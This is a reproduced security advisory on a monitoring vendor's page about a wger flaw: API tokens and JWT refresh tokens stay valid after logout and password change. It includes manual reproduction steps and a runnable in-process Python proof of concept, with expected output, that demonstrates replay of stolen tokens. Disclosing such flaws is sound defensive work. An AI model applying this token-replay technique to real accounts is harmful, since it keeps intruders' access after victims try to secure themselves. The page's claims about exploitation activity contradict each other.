Know every vulnerabilitybefore it knows you.
DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.
GHSA-v3x9-6gg8-c2c9
Summary
A vulnerability exists in the authentication/session lifecycle of wger where bearer-style API credentials remain valid after a user logs out and after a user changes their password. An attacker who steals a victim’s DRF authtoken (Authorization: Token ...) or JWT refresh token can continue to access protected /api/v2/* endpoints until the token is manually rotated/deleted (DRF token) or naturally expires (JWT refresh).
lifecycle events do not revoke these credentials:
- Logout (
/user/logout) only clears the Django session cookie viadjango_logout()and does not revoke API tokens. - Password change updates the password hash, but does not revoke:
- existing DRF tokens stored in
authtoken_token - existing JWT refresh tokens (no server-side revocation list or token versioning); refresh can continue minting new access tokens until refresh expiry.
- existing DRF tokens stored in
Vulnerable Files
wger/wger/core/views/user.py(logout implementation)wger/settings/settings_global.py(DRF auth configuration, SimpleJWT defaults)wger/settings/main.py(commonly used production defaults for JWT lifetimes)wger/wger/utils/api_token.py(authtoken rotation is manual only)
PoC (Proof of Concept)
Manual Exploitation Steps
- Create a user account.
- Obtain a JWT refresh token:
POST /api/v2/tokenwith username/password.
- Obtain a DRF token (API key):
- use
/user/api-key(or create token via admin/DB in a test environment).
- use
- Change password:
POST /<lang>/user/password/changewithold_password,new_password1,new_password2.
- Prove token replay:
- Call a private endpoint using the old DRF token (should still return
200). - Call
POST /api/v2/token/refreshusing the old refresh token (should still return200and a new access token).
- Call a private endpoint using the old DRF token (should still return
Automation PoC (Python)
Copy/paste runnable PoC (Django in-process test client; no dev server required):
import json
import os
def main() -> None:
"""
PoC for IDENTITY-VULN-01:
Proves that password change does not revoke:
- DRF authtoken (Authorization: Token <key>)
- JWT refresh tokens (still mint access tokens)
This PoC runs entirely in-process using Django's test client + DRF APIClient.
It does not require running the dev server.
"""
os.environ.setdefault("DJANGO_SETTINGS_MODULE", "settings.main")
# Ensure we use the local sqlite DB path used during setup
os.environ.setdefault("DJANGO_DB_DATABASE", "db.sqlite3")
os.environ.setdefault("DJANGO_MEDIA_ROOT", "media")
import django
django.setup()
from django.conf import settings
from django.contrib.auth.models import User
from django.test import Client
from rest_framework.authtoken.models import Token
from rest_framework.test import APIClient
username = "pwchange_user_poc"
old_pw = "OldPassw0rd!"
new_pw = "NewPassw0rd!"
# Create a clean user + DRF token
User.objects.filter(username=username).delete()
user = User.objects.create_user(username=username, password=old_pw)
Token.objects.filter(user=user).delete()
drf_token = Token.objects.create(user=user).key
api = APIClient()
# Obtain JWT tokens with old password (proof baseline)
r_obtain = api.post("/api/v2/token", {"username": username, "password": old_pw}, format="json")
refresh = getattr(r_obtain, "data", {}).get("refresh")
# Change password through the actual password change endpoint
web = Client()
web.force_login(user)
r_pw = web.post(
"/en/user/password/change",
data={"old_password": old_pw, "new_password1": new_pw, "new_password2": new_pw},
follow=False,
)
# Old password should fail now (sanity check)
r_obtain_old = api.post(
"/api/v2/token",
{"username": username, "password": old_pw},
format="json",
)
# New password should work
r_obtain_new = api.post(
"/api/v2/token",
{"username": username, "password": new_pw},
format="json",
)
# DRF token remains valid (private endpoint still accessible)
api.credentials(HTTP_AUTHORIZATION=f"Token {drf_token}")
r_drf = api.get("/api/v2/weightentry/")
# Old refresh remains valid (still mints a new access token)
api.credentials()
r_refresh = api.post("/api/v2/token/refresh", {"refresh": refresh}, format="json")
out = {
"jwt_refresh_lifetime_seconds": int(settings.SIMPLE_JWT["REFRESH_TOKEN_LIFETIME"].total_seconds()),
"jwt_access_lifetime_seconds": int(settings.SIMPLE_JWT["ACCESS_TOKEN_LIFETIME"].total_seconds()),
"jwt_obtain_oldpw_before_change": r_obtain.status_code,
"password_change_status": r_pw.status_code,
"jwt_obtain_oldpw_after_change": r_obtain_old.status_code,
"jwt_obtain_newpw_after_change": r_obtain_new.status_code,
"drf_token_private_api_after_change": r_drf.status_code,
"jwt_refresh_with_old_refresh_after_change": r_refresh.status_code,
"jwt_refresh_response_keys": sorted(list(getattr(r_refresh, "data", {}).keys())),
}
print(json.dumps(out, indent=2))
if __name__ == "__main__":
main()
Expected output (example from a successful run):
{
"jwt_refresh_lifetime_seconds": 86400,
"jwt_access_lifetime_seconds": 900,
"jwt_obtain_oldpw_before_change": 200,
"password_change_status": 302,
"jwt_obtain_oldpw_after_change": 401,
"jwt_obtain_newpw_after_change": 200,
"drf_token_private_api_after_change": 200,
"jwt_refresh_with_old_refresh_after_change": 200,
"jwt_refresh_response_keys": [
"access"
]
}
Impact
A user logs into the wger mobile app, their DRF token is intercepted via a MitM on a public WiFi network. The user notices suspicious activity, changes their password and logs out. Despite these remediation steps, the attacker's copy of the token remains fully valid. If an attacker obtains a victim’s API credential once, the victim’s primary remediation actions (logout and password change) do not terminate attacker access.
- Confidentiality: attacker retains access to victim’s private API data (depends on endpoints used).
- Integrity: attacker can perform any API mutations permitted to the victim’s account.
Upload your own SBOM in CycloneDX 1.6 or higher (JSON) directly here to check your vulnerabilities.
Drag and drop some file here, or click to select
The vulnerability can be exploited over the network without needing physical access. It is difficult for an attacker to exploit this vulnerability and may require special conditions. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a low impact on the confidentiality of the information. There is a low impact on the integrity of the data.
Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
Browse More
Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.
Checkout DevGuard